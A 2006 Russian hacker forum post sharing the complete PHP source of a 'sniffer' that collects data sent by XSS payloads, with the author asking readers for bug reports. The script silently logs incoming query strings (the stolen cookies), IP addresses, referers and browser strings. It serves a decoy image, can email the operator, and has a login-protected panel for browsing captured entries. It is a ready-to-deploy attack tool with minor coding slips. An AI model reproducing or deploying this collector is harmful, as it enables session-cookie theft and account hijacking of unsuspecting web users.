
12.05.2006, 21:25
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Я думаю, что с исходниками баг найти будет намного легче  )) Итак, самая последняя версия сниффера:
Код:
<?php
// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
//$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@proteam.com.ru"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
error_reporting(0);
function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}
function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
if (empty($_SERVER['USER_AGENT'])) {
$_SERVER['USER_AGENT'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."||\n");
$link = fopen($config['file'], "a");
flock($link, LOCK_EX);
fwrite($link, $string);
flock($link, LOCK_UN);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
echo $image;
unset($image);
}
}
function view()
{
global $config;
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
echo "<html>\n";
echo "<head>\n";
echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">\n";
echo "<meta http-equiv=\"expires\" content=\"0\">\n";
echo "<title>ProTeam Sniffer</title>\n";
echo "</head>\n";
echo "<body>\n";
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>\n";
echo "</body>\n";
echo "</html>";
exit;
}
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$str_num = $file_count - $c;
$array = explode("||", $file[$str_num - 1]);
$array[6] = str_replace(";", "<br />\n", $array[6]);
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td width=\"175\">Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"7\" width=\"20\" align=\"right\"><input name=\"del\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".$array[5]."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
echo "</body>\n";
echo "</html>";
unset($file, $file_count, $str_num, $array);
}
function del()
{
global $config;
if (!empty($_GET['all']) && $_GET['all'] == 1) {
$link = fopen($config['file'], "w");
fclose($link);
} else {
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
flock($link, LOCK_EX);
fwrite($link, $string);
flock($link, LOCK_UN);
fclose($link);
unset($file, $string);
}
unset($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}
switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}
?>
Ваши замечания, предложения, идеи прошу выкладывать в этом топике, за дельные посты буду ставить +  ))
|
|
|